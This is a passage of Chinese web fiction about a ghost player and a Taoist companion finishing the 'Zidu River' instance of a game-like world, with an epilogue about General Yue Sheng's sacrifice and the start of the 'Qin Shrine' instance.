他们又回到了子渡河边。
怀璧不在河中,鱼宣也不必担心庞壬出事,悄悄落下一段距离与齐览咬耳朵。
“齐览,你觉得越升说的灵力混沌是什么情况?”
青年回答:“或许它们的灵力相斥,无法彼此融合。也有可能是阿鬼对入鞘术有所感应,刻意混淆以自保。”
阿鬼跟着越升不愁吃,谁也不知道它成长到了什么地步,但入鞘术这种危及性命的术法,阿鬼如果毫无所觉,那真是白混了。
意识到有危险还不跑,那违背了灵异的本能,鱼宣不得不怀疑阿鬼有谋划。
这样一来越升一开始对阿鬼的维护就显得可疑起来。
鱼宣:“越升知道自己与阿鬼的联系时断时续,我们来了,他该想办法让我们帮忙才是,怎么还说它没有害人之心呢?”
齐览提醒:“他有通灵玉,能看穿你的身份。”
鱼宣:……
差点忘了这茬。
一个灵异出现了不可控的迹象,这时又冒出来一个陌生的灵异和跟着灵异走的道士,越升只会恨不得让他们离南盛城越远越好,指不定还盘算着怎么对付他们。
说阿鬼没有害人之心,是隐晦地表示它站在自己的一方,想让他们有所忌惮。
迟钝的女鬼不仅没领会到越升的言下之意,还兴致勃勃地表现出要参与南盛城事务的意思,不知道可怜的越将军背地里该有多头疼。
齐览看穿,却由她随心去。
53. 第 53 章
好心女鬼没好报,鱼宣很忧郁。
庞壬走出去好长一段路,细细看过河水,看不出端倪,直起腰来回头,才发现两位远远缀在身后。
他刚要开口叫人,又看清二人凑在一起的动作,一时间进退两难。
光天化日,别说他还在这儿,就是没有旁人,他们离这么近也于礼不合。
京城高门长大的贵公子从小受礼教熏陶,对于在灵异肆虐之处早已崩坏的秩序仅仅是有所耳闻,骨子里格外循规蹈矩,对于鱼宣与齐览之间的不清白尤其敏感。
忧郁的女鬼正好也结束了与齐览的对话,抬头看过去。
“庞副尉,这里也无事发生的话,你就尽快回去复命吧。”
平白遭了一顿驱赶,庞壬也不想多待,行过礼后就走了。
目送庞壬离开,鱼宣解开封印把怀璧扔了出来。
六百多岁高龄的灵异被女鬼一分为二,本体的龟壳落在一边,灵体落在另一边。
鱼宣看着趴在自己面前剥了壳的乌龟,亲切地寒暄:“通灵玉中很熟悉吧,有没有想起点什么?怀璧,还是阿鬼?”
怀璧就是阿鬼。
龟壳是乌龟的外骨骼,让骨骼与肉分离,乌龟大概率活不久。
至于它的灵体是如何进了通灵玉,鱼宣不想追究。
怀璧现在是灵异,摔摔打打的对它造不成大伤害,很麻溜地用四肢撑着身体起来。
乍一看倒真像是一只大肚蜥蜴。
最开始鱼宣听到这个描述时,本能觉得阿鬼是吃了灵异以后没消化,才把肚子撑大了。
现在看来,不过是怀璧本体和灵体的记忆融合交错,导致它的叙述混乱。
而越升所说的两种不同气息,分别来自本体和灵体。
灵体怎么会消化自己的本体呢?
怀璧确实触景生情,想起来了关于阿鬼的事。
它发出几声乌龟叫,果断挪到鱼宣身边。
“大人!救救我!”
鱼宣挑眉。
看来怀璧首先想起来的是入鞘术。
毕竟生死攸关,这也合理。
齐览说入鞘术不可逆,鱼宣倒不是质疑他,只是六百多年的老文物说不定有点意外的知识储备,听听它的说法也无不可。
鱼宣一副洗耳恭听的模样:“要我怎么救你?”
怀璧:“只要您制住您身边这位,剩下的我自己来就行。”
鱼宣立刻明白了它想干什么。
齐览只说越升非死不可,却没有提过阿鬼。
越升死于灵异。
出壳者死在入鞘术起作用前,入壳者还会自动补位吗?
齐览冷冷开口:“它要把越升挫骨扬灰。”
看来是只要毁了“壳”,入壳者就能摆脱入鞘术。
且不说越升现在无比脆皮,即使是活蹦乱跳的越升,也不过一个人类,怀璧想杀他是轻而易举的事。
鱼宣答应得很痛快,她替齐览保证道:“放心,他不会插手。”
越升的死已经是过去式了,他们再如何干扰也无济于事,
这个副本的任务不是拯救越升,更不是拯救阿鬼,而是解放被困在这里的几万青壮年兵和八千守城军将士亡魂。
灵异的承诺即刻生效,怀璧无需怀疑。
它还以为鱼宣要跟自己讨价还价一会儿,没想到如此顺利。
在短暂的卡顿后,怀璧低下脑袋:“多谢大人。”
口头道谢显然没什么诚意。
鱼宣提出要求:“把你的壳借我用用。”
怀璧已经得到了本体的记忆和传承,它作为阿鬼在外流浪这么久,对本体的依赖性并不强,即使损毁,失去的灵力还不到它全部力量的一成。
而鱼宣想要对它做什么,根本没必要借此削弱它。
于是怀璧也答应得毫无压力。
两只灵异都心满意足。
怀璧留下了壳,鱼宣扒在上面翻看。
女鬼边扒拉龟壳,边问:“怀璧现在去,越升为什么是两日后死?”
齐览:“如果我们没有唤醒它,它本来是两日后因为对入鞘术的危机感应醒来的。”
鱼宣“哦”了一声,又把注意力挪回龟壳上。
齐览又说:“我们要抓紧了,越升有可能会提前面临死亡节点。”
鱼宣转头:“不是说节点是固定的吗?”
齐览无奈:“本来该是这样。”
但谁能想到鱼宣能干扰怀璧这个杀人凶手的节点呢?
原本很宽裕的时间一下子变得紧迫起来。
鱼宣摸摸龟壳上的裂纹,沉思片刻,问:“我的灵异属性寒,能不能用火?”
“可以,不过最好用灵火而非明火,否则容易自伤。”
鱼宣纠结地皱眉:“灵火能龟卜吗?”
齐览:“你是怀疑怀璧的龟甲是因龟卜而被剥去的?”
“算是吧。”
这个猜测并不靠谱,因为寻常龟卜都是用死去乌龟的腹甲。
但齐览没有提出异议。
“如果要再现龟卜,用灵火即可。”
鱼宣把龟壳翻过来,按齐览的指导运起灵火。
龟甲被霜花覆盖,一时不知道是在火烧还是冰冻。
平坦的腹甲上缓缓浮现字迹。
齐览念给她听:“献王女周平宛,祈于上神,千秋万代,国祚永延。”
周平宛。
鱼宣眨眨眼,对上齐览沉静的目光。
青年问:“是你吗?”
鱼宣老实巴交:“不知道。”
她是真的不知道。
如果说周平宛是桃源镇镜像中的那位,那玩家当然就不是姜王女。
鱼宣不确定。
不过她心态好。
扑朔迷离是剧本杀的常态,推不出来是线索不够,找就是了。
鱼宣说不知道,齐览当然从她嘴里撬不出其他东西来。
不过女鬼有点怀疑:“这么大一块腹甲,就这么几个字?”
齐览哭笑不得:“灵异的本体并非一定是它原本的模样,有可能发生异变,从字迹大小来看,它是放大过的。”
一个有传承有记忆的本体,没有一定的能力的话就与凡物一般,根本撑不过六百年就灰飞烟灭了。
鱼宣袖中探出金线,触及龟壳。
金线的消融验证了她心中的猜想。
“南盛城的死局,原来在这里。”
本体和灵体各自流浪六百年,没有任何一方停止壮大自身。
怪不得阿鬼宁可把解决入鞘术的事
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往后放也要先融合本体的力量。
身负龟卜的怀璧对人类的了解远比人们所预计的要深刻,而阿鬼跟随越升多年,更知道他最在乎的是什么。
灵异霸道,睚眦必报。
一道屏障断了南盛城内几万人的生路,灵异的示威目的达到,越升死后也不得安宁,带着这几万亡魂一起在子渡河底不见天日十三年。
鱼宣盯着龟壳,知道用灵力拿它没办法。
龟卜之术,用以明火炙烤出裂纹,从中解读神意。
本质是怕热。
女鬼想通关节,抬头看齐览:“你的灵火,是热的吧?”
齐览默默祭出自己的灵火。
在水底泡了六百多年的龟甲烤起来格外困难。
鱼宣很贴心地给齐览输送灵力,尽管这会让他感到冷,但总比灵力透支要好。
道士的灵火不是开玩笑的,龟甲的水分很快被蒸干,原本的裂纹随着灵火的炙烤变得更深,最后彻底裂开。
与此同时,天际的屏障应声而碎。
鱼宣从齐览怀里抽出一张传讯符,指示它传信给张渠。
“将军有令,全军将士及城内百姓即刻从南面渡船离开,不容耽误。”
代主将传令这种事,鱼宣干得毫无心理负担。
本土NPC都可以,她一个拥有完全自由度的玩家为什么不可以?
怀璧说子渡河六百年来水流不停歇。
作为一条交通要道,它无疑是活水。
既然是活水,就有生路。
“当前进度:49%(剧情探索达到60%将解锁支线)”
鱼宣安排好了这些人的去处,准备去看看越升。
齐览:“守城军八千,自愿加入的城中青壮年数万,在灵异未除之际让他们离开,不是易事。”
鱼宣抿唇。
她能想到,在这种情况下站出来的人不仅仅为了自己活命,更多是阻拦灵异继续南下。
张渠就是其中代表。
要让他们甘愿撤离为灵异让路,那无疑是把他们的一腔孤勇放在脚底下踩。
复杂的人类,使女鬼心累。
不过鱼宣有办法。
不能甘愿撤离,那就被迫撤离咯。
还未送出的传讯符寸寸成灰,鱼宣又扯了一张新的。
“将军有令,城中所有将士及百姓即刻前往子渡河边集结,不得有误。”
搞定。
鱼宣是一个谨慎的玩家。
送出传讯符后,她又吩咐齐览:“你等会儿去排查城中剩余的活口,给我报位置。”
不是她不信任越升手下的兵,实在是这游戏的NPC自主能动性太高,万一就有想不开的妨碍玩家通关,鱼宣可不敢赌。
这下鱼宣可以安心地去观看副本剧情了。
佑民寺。
鱼宣赶到的时候,怀璧被挡在寺门外。
百年古寺,对见过血光的灵异拒之门外很合理。
至于十三年前怀璧是怎么见到越升完成击杀目标的,鱼宣有几分猜测。
女鬼悠哉悠哉地路过它,随手推开了寺庙的大门。
她好心开口:“需要我帮你通报一声吗?”
佛门净地,杀生多不好。
要打还是出去打吧。
54. 第 54 章
女鬼的通报使命必达。
说帮忙,就不会出现人不出来的情况。
越升或许难免贪生怕死,但他那点求生欲早就在入鞘术后荡然无存。
左右都是死,能拉个灵异垫背也是好的。
十三年前的越升会被怀璧逼出佑民寺的原因,无非是它在佑民寺门前大肆屠杀示威。
越升气若游丝地靠在床板上,女鬼推门的声音入耳,他撑开眼皮。
为了照顾一个病人的信息处理系统,鱼宣的话很简短。
“阿鬼在门外,你若不见它,它就去逮人泄愤了。”
鱼宣之前下的命令逃不过越升的耳朵,他对女鬼的用心算得上感激,见她来催命也不啰嗦,撑起身子跟她走。
难为他还走得动。
鱼宣问:“庞副尉呢?”
刘斤在子渡河边负责撤离事宜她知道,庞壬作为守城军副尉,一直以来都跟在越升身边,现在却不见踪影。
这不合理。
他是皇室的爪牙,也该是越升的陪葬品。
越升平静道:“它只是要见我,没有说要见庞壬吧。”
他意图回避掉这个问题。
“没错,”女鬼笑眯眯,“所以你必须回答。”
怀璧的要求鱼宣不一定兜底,但她自己想知道的一定要知道。
越升看着眼前貌似很亲切的女鬼一副“你不说就别想走”的模样,终于叹口气败下阵来。
“刘斤粗枝大叶,我让庞壬去扫尾。”
跟齐览待久了,突然碰上这么一个对自己千防万防生怕她捣乱的人类,鱼宣都有些不适应。
她失笑:“放心吧越将军,我对你们的小命没兴趣。”
鱼宣觉得自己一定是一个刻苦修炼的勤快鬼,宅在乱葬岗两耳不闻棺外事,居然一条人命也没碰过,轻轻松松进了佑民寺。
越升即便不信她,对比一下被拦在外面的怀璧也该觉得她是个善良亲切的好鬼了。
得到了想要的答案,鱼宣不再为难他,在他晃晃悠悠站起身的时候用灵力悄悄扶了一把。
越升现在全靠那碗清风散保持清醒,让他自己多费点劲都算得上虐待病人。
越看他越可怜,等越升走到自己面前,鱼宣摘下通灵玉还给他。
通灵玉的隐匿功能或许对其他灵异有效,但怀璧作为阿鬼本身就与它建立了联系,最多只能为越升争取一个打招呼的时间。
确认越升能稳稳当当地走出去后,鱼宣也收到了来自齐览的信号。
还分散在外的人有六个,均匀分布在城中,城北和城东。
去掉与齐览目的相同的庞壬,还剩五个。
五这个数字很熟悉。
开头梦魇的孩子,不多不少,就是五个。
鱼宣想起自己忽略了什么了。
怀璧和阿鬼是同一只灵异。
南盛城只有一只灵异。
那么所谓的梦魇,当然也只会是它做的。
发现自己的本体就在南盛城之后,怀璧当然更不会甘心受入鞘术的制约。
当时的齐览是按驱除梦魇的办法给他们治的,并没有深入探查他们的情况。
灵异的特殊能力与它们自身相关。
譬如鱼宣是绣娘,属于她的特色技能就围绕这个身份展开。
而一只没有壳的乌龟,就像没有皮的人,光有个芯子,这样的灵异历来干得最多的无非是夺舍的勾当。
按人类的脚程计算,他们从佑民寺出发到现在所处的各个位置的时间,正好能与怀璧醒来的时间对上号。
南盛城可不是一个小村子。
连四岁的孩子都没有走一点弯路,怀璧搞鬼也太明显了。
鱼宣从系统面板里拿出一张黄纸,按上传讯符符印给齐览传话。
“不用管庞壬,尽量保证其他五个的安全,把他们送出去。”
越升既然安排庞壬去做扫尾工作而不是与刘斤他们会合,就说明他认为庞壬在必要情况下可以牺牲。
在这个副本里,庞壬处于“多捞一个无所谓,少捞一个也无妨”的地位。
为了跟NPC打配合减少工作量,鱼宣用了搜灵。
齐览的定位在城中心,她转头往北面去。
北面密林里的植被肉眼可见地泛滥成灾。
密林里的两个孩子是一对姊妹。
密林距离佑民寺不算远,但由于此前作为主战场的缘故,这里设置了不少关卡,她们借着障碍物拖延时间,现在正挂在木围栏上。
两张小脸糊满了血。
鱼宣一看就明白了为什么她们的进度比其他人慢一大截。
四肢不受控,但是嘴巴是自由的。
难为她们咬在木围栏上不松口。
鱼宣控住她们两个,为了小孩的牙齿健康考虑,提醒:“松松口,你们没事了。”
两个小姑娘也想松口,但她们的下巴酸得麻木了,则会儿想松口都没办法,只能挂着两串眼泪无言地看着突然出现的女鬼。
鱼宣只好手动帮她们装卸下巴。
时间紧迫,鱼宣没空多问,金线一出把两个嘴角挂着血口子的小可怜往南边抛去,接着往城东赶去。
城东的两人之间拉的距离有些远,鱼宣干脆去找已经快到城门的那个。
这是最大的那个孩子,十二岁,身形偏瘦,但好在并不是形销骨立的干瘪。
家境应当不差。
才跟着庞壬巡视过的鱼宣十分确定城门关着。
如果他不打算拐弯的话,唯一的路就是走上城门楼,然后跳下去。
鱼宣见到他的时候,他距离城门不过几步路。
他分明在哭,却抵不过身体里莫名的力量,整个人看起来可怜兮兮。
如果不是灵异的力量拖着他走,他的腿都要软下来了。
首先吸引鱼宣目光的是他身上的血腥味。
城中这时无人,让他一路走来畅通无阻,这下好不容易碰上人,他赶紧喊:“大人,大人!拉我一把!”
鱼宣的金线裹住他双腿,走近了发现他身上除了些小擦伤以外没有其他伤口。
“小子,你爹娘呢?”
这五个孩子的父母应该寸步不离地守着他们才对,怎么可能放任他们跑出这么远?
他还没从失去对自己肢体控制权的恐惧中回神,听到这么一句问话,愣了愣。
随后终于在勉强安全下来的境况里重启大脑。
稚嫩的脸上湿乎乎,他只是被金线束缚住,行进的冲动仍在,除了嘴巴以外身上没一处是听自己使唤的。
“大人,您救救我爹娘吧!”
鱼宣挑眉:连环任务?
应该不是。
齐览发来的信号位置只有五个。
“我跑出来前,他们来拦我,被我……被我伤了。”
鱼宣了然。
恐怕不只是伤了他自己的双亲,而是顺手撂倒一片了。
既然没跟着孩子乱跑,鱼宣倒不担心他们父母的死活。
“越将军让所有人都去河边了,他们不会被落下,如果伤口不严重,应当已经被妥善处理了。”
人类小孩没本事抵抗十个大人,奈何灵异相帮。
好在鱼宣在这个孩子身上没发现多余的灵力残留,就算伤人也不至于害命。
“与你一同往这边来的那个小孩,你见过吗?”
“见过,”他说,“您可以去染坊后门的空坛子里找到他。”
鱼宣眯了眯眼。
照理说她不该对一个被灵异控制的小孩产生怀疑。
但他说这句话的模样太镇定,对比起之前痛哭流涕的害怕,他现在完全不像在惊魂未定地回忆之后给出的答复。
鱼宣问:“你叫什么?”
“贺贞。”
贺贞瞪着眼看她。
实话脱口而出,他在鱼宣撒不了谎。
鱼宣是一个擅长顺手牵羊的玩家,有从NPC手里拿道具的机会,怎么可能老老实实地只拿一张传讯符?
真言符这种东西,既然让她知道有,不囤几张心里总归不踏实。
“那坛子里的小孩呢?”
“贺英。”
看他戾气满满的神色,鱼宣对怀璧这只灵异的人性化程度又有了更深的认知。
挑中贺贞来做见血伤人的那一个,是因为他本来就有此秉性。
怀璧并非要他跳城楼,而是要他开城门。
其他孩子的身量都不够,只有他,躺着的时候就比别人长一大截。
鱼宣觉得,贺贞是一个非常有前途的反派苗子,等他死后变成灵异,假以时日说不定能赶上她。
女鬼有一双伯乐眼,可惜她不惜才。
贺贞很明显是个有故事的NPC,但鱼宣赶时间,只挑着有用的问题问。
“男孩女孩?多少岁?”
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>贺贞满脸不情愿:“男孩,九岁。”
“你确定他爬不出坛子,为什么?”
“他手脚断了。”
鱼宣和齐览去为他们驱梦魇的时候,五个孩子可都是全须全尾的。
女鬼真有点惊讶了:“你能自由行动?”
“有时候能。”
“具体什么时候?”
“打伤他们的时候。”
助纣为虐,是灵异喜欢做的事。
鱼宣皱眉看他。
这小孩没有人物介绍,照理说不该有这么多戏。
她只能先记下,把这个“人茧”如法炮制地投掷,再沿着他过来的路往回找。
城中生计荒废,别说染坊,饭馆都不做生意,摆在外面的东西能搬进去的都搬了,鱼宣无法从场景中分辨它们的具体用途。
但好在副本没打算在这种地方为难玩家。
鱼宣视线扫过门匾上大大的“染坊”二字,抬脚绕到后门,两道掺血的灰痕显眼。
断手断脚了还在坛子里,居然挪了那么远,这贺英也是个狠角色。
鱼宣追过去,远远看到一个挣扎前进的坛子。
声音吵得恼人。
坛子被鱼宣按住,坛子里的人仍一刻不停地撞击内壁。
最后一个人那边有齐览,鱼宣现在没那么着急了,很耐心地按着坛子在心里数了十个数。
然后确认这孩子已经在里面撞懵了,连句话也不喊,光靠着牵引往目的地去。
鱼宣按在坛子上的手稍一使力,坛子无声地散成灰,露出里面的人。
放在后门的坛子是废弃的,底部有缺口,装不住水。
也正是因为缺口,才让贺英流了更多血。
真言符之下,贺贞的话没有半点水分。
说断手断脚,就是真的断手断脚。
四段生生扯下来的肢体居然才这点出血量。
鱼宣不是大夫,也怕自己多事反而把人弄死了。
谨慎起见,鱼宣这次在裹金线的时候把贺英断了的手脚也衔接回去,一并送去南边。
物理衔接以后至少看起来完整了。
把落难的小孩完完整整送出去尽到玩家本分的鱼宣对自己的杰作很满意,拍拍手又马不停蹄与齐览会合。
这个孩子最小,但还算幸运。
他离庞壬和齐览都最近。
齐览的手段比鱼宣要温和,他用的是定身符。
如果不是庞壬认过他这张脸,看他拎着一个四岁孩子晃悠都得拔刀。
庞壬赶紧把孩子要过来抱着。
齐览二话不说地把人交出去,然后准备拎庞壬。
鱼宣刚落地,就一眼看见齐览的手往人家脖子后面伸。
还好她是女鬼齐览是道士。
这种自然不做作的阴森是鱼宣学不来的。
不过庞副尉最终也没有逃脱被拎着走的命运。
毕竟贺英那副模样,还能苟延残喘多久都不好说,鱼宣可不敢赌。
庞壬被迫坐了顺风车,从没有觉得见到刘斤居然是一件这么令人高兴的事。
鱼宣:“刘校尉,我送来的人你都收好了吗?”
“已经安顿好了,那两个孩子的父母很感激您。”
刘斤又看了看庞壬手里的孩子,招呼了一对夫妻上前来。
两夫妻拘谨地走过来。
妇人只看一眼便颤声道:“是了,大人,这是我们家阿云。”
庞壬还没焐热的孩子又转了手。
两人带着阿云回到人群中去。
大团圆的场面,鱼宣却看不进去。
她问:“哪两个?”
刘斤挠挠头:“名字我没打听,不过是俩丫头。”
没有贺贞和贺英。
“恭喜玩家通关副本【子渡河】,解锁灵异能力100%,请谨慎使用。”
“当前进度:50%(剧情探索达到60%将解锁支线)”
“三个孩子都找回来了,这下大伙儿安心了,”刘斤的神色明显松了些,但紧接着又问,“庞壬,将军不是让我们来这儿吗?他人呢?”
鱼宣和齐览都没与庞壬说越升的状况。
庞壬沉默了一阵,嘴唇动了动,直到刘斤没耐心地催促,他才开口:“将军他,殉阵了。”
这场亡命之战,一人换一城。
这是越升死后十三年不得解脱,能想到最微末的牺牲。
55. 子渡河·番外
鱼宣猜错了一件事:怀璧并不是在活着的时候被剥了壳。
它是由龟卜后的壳而诞生的灵异。
诚如齐览所言,它的本体异变了。
不仅仅是放大,还从一片腹甲变成了一整个龟壳。
怀璧拥有阿鬼的记忆后,对于自己为了口吃的赖在一个人类身上接受良好。
它想起自己之前布的局。
只是眼前的女鬼毫无疑问是个意外的阻碍。
灵异是一个包容性很强的群体,鱼宣既然实力远在怀璧之上,它就不会对鱼宣和人类亲近这件事置喙。
而且她看起来脾气格外好,也不打算拿它打牙祭。
因此怀璧才壮着胆子请求她袖手旁观。
那五个孩子中有两个的气息古怪,怀璧没有在意。
与鱼宣一样,出于灵异的直觉,它对贺贞和贺英的关注有所倾斜,但也仅此而已。
在怀璧眼中,这些人都是要死的。
不过它的主要目标是越升,在鱼宣毁坏龟壳致使屏障消失后,它也知道这姑奶奶是要保这些人,放弃得很爽快。
灵异从诞生开始就是趋利避害的佼佼者,跟鱼宣硬碰硬这种吃力不讨好的事,怀璧才不干。
怀璧的灵体不是叫阿鬼,而是阿龟,在它与越升那点微弱的联系下,他有时能与它交流。
国师让越升问出它的名字。
阿龟告诉了他,但因为联系微弱,越升没能得到具体的文字。
越升看不见它,出于对灵异的刻板印象,愣是一厢情愿地喊它“阿鬼”。
阿龟一次也没有应。
实际上不需要它应,且不说越升主动喊它的次数少得可怜,就算他喊,阿龟也不可能放弃自己的节奏去听一个人类指挥。
它又不是越升手底下的兵。
越升本人对阿龟的我行我素很清楚,可阿龟又不是鱼宣这种看得见摸得着的灵异,逮也逮不住。
所以在国师说它不可控时,越升深以为然。
他当初为了得到通灵玉花了大价钱,就是希望能在战场上有些安全保障,也方便指挥作战。
谁能想到买一送一,带回来这么个祖宗。
灵异常常在军队没有任何进攻预兆的时候就被消灭了,不知情的人只看结果,说他“兵行诡道,出其不意”。
诡道确实是鬼道,出其不意也没错,因为他自己也没任何心理准备。
越升很憋屈,他作为主将本来应该运筹帷幄的,现在却要去猜一个灵异的心思。
每天最纠结的除了如何作战,就是猜阿龟这次出不出手,什么时候出手。
计划外的情况太多,越升有时候都会觉得自己前后脚下的命令狗屁不通。
但他身负灵异这件事,越少人知道越好。
满腹话语无人倾诉的越升日渐忧郁。
慢慢地,越升发现阿龟开始挑食。
小灵异它不吃了,碰上比自己强大的灵异更是跑得没影。
非常容易忘本的一只灵异。
很快越升就没工夫管阿龟忘不忘本了。
到了南盛城,阿龟比之前都要懒散得多,跟回家了一样,任军队顽强抵抗,它整日整日地不出现。
越升本来都准备好咬咬牙使用人海战术,在清风散把自己腌入味前把密林灵异刮痧刮死。
所以才会招入那么多民兵。
可那样死的人太多了,越升下决定下得很痛苦。
好不容易把城内青壮年男女都搜罗起来,阿龟却在这时候出现。
北面密林里,藤蔓吊起来的,灌木缠住的,枝叶绞死的,尸横遍野。
原本如活物一样蠕动的植物突然停下没了动静。
越升感知到熟悉的气息。
是阿龟。
阿龟来去匆匆,一如既往地吃了就走。
越升脸上的肌肉僵硬,面对或死或伤的士兵,一时不知道要做出什么表情。
最终只有一句:“收兵。”
密林灵异销声匿迹后,阿龟就窝在河里不见人。
虽然人本来也看不见它。
入鞘术的启用就在这几天,为免波及无辜,越升抓紧时间让人撤离。
他身体衰弱的速度太快了,每日凭清风散维持神智和行动。
药量一加再加。
越升本来打算送走所有百姓后就让军队也离开,自己在这座空城里和阿龟同归于尽。
这天他到河边,水里突然传来一阵强烈的吸力,将他拖入其中。
已经几乎是个空壳子的越升毫无反抗之力,很快失去意识。
再醒来,他悲哀地发现南盛城里又多了一个灵异。
而且他预感,这个灵异空前强大,阿龟对付不了。
可是底气不足的越升除了阿龟也没有别的可以跟鱼宣对峙的筹码了。
可惜鱼宣完全无视他暗戳戳的警告。
越升实在没有办法,感觉太阳穴突突跳。
为今之计,只有加快撤离速度。
天知道越升得知自己昏了三天,而且这三天里撤离行动毫无进展时,他的脑袋有多疼。
刘斤不动脑子就算了,庞壬乱动脑子也算了,哪怕他俩把事情落实一下呢?
越升眼见鱼宣是不打算走了,一想到自己要同时应付两只灵异和一个不知道是敌是友的道士,就崩溃得不想面对。
把他掰开三瓣,也不够给这三位分的。
事实证明,灵异在果然没好事。
上午鱼宣和齐览把他叫醒,下午越升就收到了自己下令让所有人去河边集结的消息。
越升:……
来不及痛惜自己的主将威严,越升又从庞壬口中得知是自己的好下属先开的头。
庞壬:“两位道长既然有此交代,想必是有决断,我们照做就是。”
越升很想说那不是什么道长,那是一只灵异和一个莫名其妙的道士。
但他如今连与阿龟同归于尽的本事也没有,只能躲在佑民寺里当缩头乌龟,熬到入鞘术的时间。
鱼宣和齐览要是能带着其他人走,总比都在这里陪他等死的好。
越升走不了。
鱼宣一早就知道他走不了。
他是这个副本的核心。
十三年前,南盛城之战,几万人被屏障围困城内。
所有人都死得其所,没有怨言,因为阿龟也死了。
在备受灵异折磨的人们心中,能磨死一个强大的灵异,何尝不是一件丰功伟绩。
除了越升。
在最后的日子里,没有鱼宣和齐览这两个外来者,越升在昏迷中度过。
被怀璧操纵的三个小孩没如它的意。
他们一直在梦魇中没有醒来,到了要行动的时候全凭怀璧控制,毫无意识。
夜深人静,城中死寂。
被灵异控制的三个小孩轻易躲过巡逻守卫。
两个女孩本来是被控制着分别去破坏北面的两处专事防范灵异的阵法,却因为身量不够,挂在木栏上,卡
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住脖子生生窒息而死。
那个四岁的孩子则是往城门去,但他够不着,也没力气开门,不得不一直往门上撞,也死了。
鱼宣的思路没错,入鞘术的预警使怀璧醒来,它到佑民寺前杀人示威。
可惜越升昏迷着,它只是白费力气。
第二日,越升回光返照般醒来,而得不到回应的灵异已经把佑民寺外的活人清空了。
灵异的破坏力有目共睹。
毕竟守城军八千也不是一开始就只有八千的。
都走到这一步了,本来越升只要一直躲着,躲到入鞘术生效就好。
但几万人的杀孽,都足够重新蕴养一个新的大灵异了,怀璧何愁不能更上一层楼。
死亡危机面前,灵异的潜力也不得不爆发。
在最后一天,为了避免进入脆皮人类身体任人宰割的结局,怀璧果断舍弃龟壳,以通灵玉为媒介闯入寺中。
血煞气太重,佑民寺对怀璧的排斥格外明显。
怀璧只能抓住一瞬间的机会对越升出手。
不幸中的万幸,越升被庞壬和刘斤盯着不许出院门,庞壬要夜巡,越升就把通灵玉给他防身。
万幸中的不幸,庞壬现在就在越升旁边。
被挫骨扬灰的是庞壬,但越升已经脆皮得不能再脆皮,被怀璧赌上性命的大招波及,留了个全尸。
越升今早刚服下最后一剂清风散。
出壳者让出身体后,入壳者自动补位。
至此,整个南盛城只有佑民寺有活人。
因为怀璧舍去了龟壳,这时屏障已经失效了,如果它就此收手,刘斤就能带着剩下的人离开。
结果显而易见,它没有。
披着越升的皮,感受着寸步难行的身体,怀璧决定用最后的时间把剩下的人解决。
灵异很少靠体质强度吃饭,有灵力在,丝血也能拉着所有人一起去见阎王爷。
十三年,越升的魂魄在子渡河中对着幻想中的沙盘反复排兵布阵,终于在这一次迎来最成功的演绎。
鱼宣让他提前醒来,喝了最后一剂药。
庞壬被他支走,寺中再没有别人。
当鱼宣来通报说他再不出去阿龟就要杀人泄愤的时候,越升心中并不慌乱。
通灵玉告诉过他,眼前的女鬼实力远在阿龟之上。
鱼宣忙前忙后,除了要保这城中百姓,越升看不出她还能有什么别的意图。
而她既然要保,阿龟就动不了他们。
鱼宣走得着急,没发现越升并没有踏出佑民寺。
他只是打开门。
越升看不见阿龟,但阿龟能看见他。
用不上通灵玉为他争取的那一点时间,隔着一道门槛,一人一鬼如隔天堑。
他确实应了鱼宣的要求,来见它了,这样女鬼就不算失信。
他只是没出去而已。
对着空荡荡的门口,在阿龟鱼死网破之前,越升把通灵玉扯下来往门外一丢。
之前通灵玉在鱼宣身上,阿龟根本没辙。
现在越升当着它的面断了这条路。
然后自戕。
越升让出身体,阿龟补位。
佛门的威压落到这具脆弱的身体上,门近在咫尺,阿龟却出不去。
这是越升梦想中的结局。
灵异除尽。
南盛城人重拾各自生计,刘斤与庞壬带兵回京复命加官进爵。
张渠等民兵就地遣散,过了子渡河就能回家。
56. 第 56 章
眼前的景象和耳边刘斤骤然提高的声音逐渐远去,再回神,一人一鬼已经重新站在渡口边。
鱼宣悄悄断了灵力输送,见齐览面色如常,才去看导览图。
他们还在原地。
鱼宣神色有片刻的扭曲。
千辛万苦过了个副本,不应该保送他们过河吗?
好在导览图上的红箭头换了个方向。
鱼宣没急着走。
她问:“贺贞和贺英是怎么回事?”
这回齐览想了好一会儿。
“应该是误入的魂魄。”
鱼宣眨眨眼:“所以他们是怎么离开的?”
这问到了齐览的知识盲区。
他羞愧道:“魂魄误入的情况极少,书上也只有只言片语的记载。”
秉承着有一点是一点的原则,鱼宣手一挥:“说来听听。”
齐览:“死人的魂魄,大多是迷失。活人的魂魄,会在短暂的出窍后回归身体。”
鱼宣:“那依你看,他们是活人还是死人?”
齐览诚实地摇头:“不知道。”
辨别生魂和死灵并不难,但第一步是要去辨别。
当时五个孩子一起出现,又往各自的方向去,连怀璧也把贺贞和贺英当作自己的棋子之一。
默认了他们是南盛城的一员,鱼宣和齐览自然不会对其多做探究,现在对他们的身份已经无从查证。
不知道就不知道吧,如果有必要的话线索会从四面八方来的。
鱼宣将这个话题搁置,按照导览图的指引启程。
一个非常醒目的地标出现在一人一鬼眼前。
“秦氏无名之墓”。
可能是因为鱼宣出生点在乱葬岗,她对坟包和墓碑有种老乡见老乡的亲切感。
“恭喜玩家开启新地图:荣宠无边,天子家臣——秦氏祠。”
“您已解锁副本【秦氏祠】”
鱼宣抬头看看四周。
一个破败的小村子,许多建筑都废弃了。
这个副本简介在开玩笑吧。
再落魄的皇帝也不可能让自己的宠臣在这里待着。
齐览不明所以地看着她站定不动,没有贸然出声。
鱼宣转头看向自己身边这位朝廷命官。
“你们的皇帝,什么情况下会让京中大臣到这里来?”
齐览这次答得很快:“随行,济灾,或者贬官。”
“二位,是要问路吗?”
许是见他们在这里停下来交谈,从后面来的行人询问道。
鱼宣转过身。
这是两男一女。
“新角色:秦渑、秦鄞、秦郃——渡头村村民。”
鱼宣一一扫过他们的脸,试探着说:“我们想要渡河。”
看起来年纪大些的男人上前:“渡口已经荒废许久了。”
齐览:“你们知道哪里有船只吗?”
男人面色有些奇怪:“船倒是有,只是我们平常都在碧岩村做工,都走山路,渡船已经有十三年没用过了,如果要渡河,还得花时间修整。”
又是十三年。
看来南盛城之战遗害甚广,连对岸的渡头都受到波及。
鱼宣:“十三年中这里都没有往来的商船和客船吗?”
既然这里叫渡头村,旁边就是子渡河,那至少也该是一条要道,怎么会让船只没有用武之地?
